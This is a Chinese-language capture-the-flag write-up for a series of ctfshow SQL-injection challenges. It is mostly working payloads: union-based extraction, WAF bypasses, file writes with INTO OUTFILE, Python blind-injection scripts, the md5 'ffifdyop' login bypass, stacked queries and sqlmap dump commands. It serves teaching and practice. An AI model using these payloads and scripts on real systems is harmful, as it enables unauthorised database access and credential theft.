第一题嘛,都是最基础的,单引号闭合,用联合查询注入即可。
1' order by 3-- -
-1' union select 1,2,3-- -
# 库名是ctfshow_web
-1' union select 1,database(),3-- -
# 表名是ctfshow_user
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_web'-- -
# 三个字段,id,username,password
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'-- -
# flag在password字段中
-1' union select 1,group_concat(password),3 from ctfshow_user-- -
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
这题在上题的基础上,增加了返回字符串的过滤,如果有flag就不输出,可以将最后的结果base64加密一下。sql中base64加密为to_base64()
函数。注意,这题只有两个栏目
。
1' union select 1,to_base64(password) from ctfshow_user2-- -
只是多了个大写过滤,和上题解法一样,这题有三个栏目
。
1' union select 1,to_base64(password),3 from ctfshow_user3-- -
这题有个小坑,明明是sql注入的第四题,url里却还是select-no-waf-3.php
,所以将3换成4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
又多过滤了数字,直接布尔盲注
import requests
url = "http://64e7018a-e869-46dc-abce-7f4dbe4f56f9.challenge.ctf.show:8080/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i += 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
payload = f"1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -"
r = requests.get(url + payload)
if 'admin' in r.text:
head = mid + 1
else:
tail = mid
# result += chr(head)
if head != 32:
result += chr(head)
else:
break
print(result)
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
过滤了ASCII码0-127的字符,页面没有回显的话可以选择将输出存到一个文本文件中,再去访问它。
1' union select 1,password from ctfshow_user5 where username='flag' into outfile "/var/www/html/2.txt"-- -
开始有过滤了,这题用大写绕过
1' order by 3-- -
-1' uNion sElect 1,2,3-- -
-1' uNion sElect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
-1' uNion sElect 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'-- -
-1' uNion sElect 1,group_concat(password),3 from ctfshow_user where username='flag'-- -
过滤了空格,用/**/
代替,注释用%23
-1'/**/union/**/select/**/1,2,3%23
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23
-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23
-1'/**/union/**/select/**/1,group_concat(password),3/**/from/**/ctfshow_user%23
把上一题的/**/
也过滤了,可以用%0a
1'%0a%23
1'%0aorder%0aby%0a3%23
-1'%0aunion%0aselect%0a1,database(),3%23
-1'%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='ctfshow_web'%23
-1'%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='ctfshow_user'%23
-1'%0aunion%0aselect%0a1,group_concat(password),3%0afrom%0actfshow_user%23
%0a
被过滤,可以参考ascii码表,选择%0c
-1'%0cunion%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%23
前面的题目中id=26时是flag用户,可以先用1'
闭合前面的单引号,然后用or(id=26)
查询,最后用and'a'='a
闭合后面的单引号,查询后是id=1的用户,可以让id=1111,这样前面的用户不存在,爆出后面id=26的用户
1111'or(id=26)and'a'='a
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
这题是查询指定的表名,输入前面的表ctfshow_user
后发现数量有22个,那么可以用正则来一个字符一个字符的匹配
tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('c'))
import requests
url = 'http://ed472e0b-c024-43be-93cb-8ed1c6333880.challenge.ctf.show:8080/select-waf.php'
usestr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
result = ""
for i in range(0, 46):
for st in usestr:
# 前七位是ctfshow
if i < 8:
continue
payload = {
"tableName": f"`ctfshow_user`where(substr(`pass`,{str(i)},1)regexp(\'{st}\'))"
}
r = requests.post(url, data=payload)
if r.text.find("$user_count = 1;") > 0:
result += st
print(result)
break
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
在上一题的基础上过滤了where
,可以用right join
连接查询,两侧表都为ctfshow_user
时作用即相当于where
RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。
因为过滤了单双引号,所以在正则匹配时无法使用,这里可以用char()
函数代替
tableName=ctfshow_user as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(99))
import requests
from time import sleep
url = 'http://aa88fe34-e20c-416b-9ce2-4ca4021e6890.challenge.ctf.show:8080/select-waf.php'
usestr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
result = "ctfshow"
for i in range(45):
if i < 8:
continue
for st in range(127):
payload = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{str(i)},1)regexp(char({st})))"
}
r = requests.post(url, data=payload)
if r.text.find("$user_count = 43;") > 0:
if chr(st) != '.':
result += chr(st)
print(result.lower())
sleep(1)
break
又过滤了数字,想办法构造,true
是1
,那么true+true
是不是2
呢?实验一下:
发现可行,那么在上一题脚本的基础上写一个函数,将数字转换成对应的true相加,即可。
import requests
from time import sleep
def createnum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += '+true'
return num
url = 'http://74c8b407-c2fb-4083-b794-ee36a6cfb5e1.challenge.ctf.show:8080/select-waf.php'
usestr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
result = "ctfshow"
for i in range(45):
if i < 8:
continue
for st in range(127):
payload = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createnum(i)},{createnum(1)})regexp(char({createnum(st)})))"
}
r = requests.post(url, data=payload)
if r.text.find("$user_count = 43;") > 0:
if chr(st) != '.':
result += chr(st)
print(result.lower())
sleep(1)
break
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
考察的是md5(string,true)的绕过,要想成功登录,要使密码转换成16进制的hex后包含'or '6'
,符合的两个字符串有ffifdyop
和129581926211651571912466741651878684928
echo urlencode(md5("ffifdyop",true));
// 输出结果为%27or%276%C9%5D%99%E9%21r%2C%F9%EDb%1C
select * from users where username=0;
上面这句话会把表中所有的记录全部查询出来,而题目最后的比较是==弱比较,会自动把字符串转换为0,0=0恒成立。
import requests
url = "http://f81130aa-adee-4df2-843b-42bdc38b3709.challenge.ctf.show:8080/api/"
result = ''
i = 0
while True:
i += 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
# # 查表
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# 查列名
#payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"'
# 查字段
payload = 'select group_concat(f1ag) from ctfshow_fl0g'
data = {
'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
'password': '1'
}
r = requests.post(url, data=data)
if '密码错误' == r.json()['msg']:
head = mid + 1
else:
tail = mid
# result += chr(head)
if head != 32:
result += chr(head)
else:
break
print(result)
ascii()
函数被过滤,可以使用ord()
函数代替
import requests
url = "http://29c345bb-c369-4912-8441-d1f06ef8f193.challenge.ctf.show:8080/api/"
result = ''
i = 0
while True:
i += 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
# # 查表
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# 查列名
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"'
# 查字段
payload = 'select group_concat(f1ag) from ctfshow_fl0g'
data = {
'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
'password': '1'
}
r = requests.post(url, data=data)
if '密码错误' == r.json()['msg']:
head = mid + 1
else:
tail = mid
# result += chr(head)
if head != 32:
result += chr(head)
else:
break
print(result)
中间的题目先跳过了,从web199开始。
可以用堆叠注入,查询表名,然后让password的值为ctfshow_user,这样两者就相等
payload:
username=1;show tables;&password=ctfshow_user
开始使用sqlmap
# 爆库名
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" --dbs
# 爆表名
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" -D ctfshow_web --tables
# 爆列名
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" -D ctfshow_web -T ctfshow_user --columns
# 爆字段
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" --dbs
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" -D ctfshow_web --tables
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump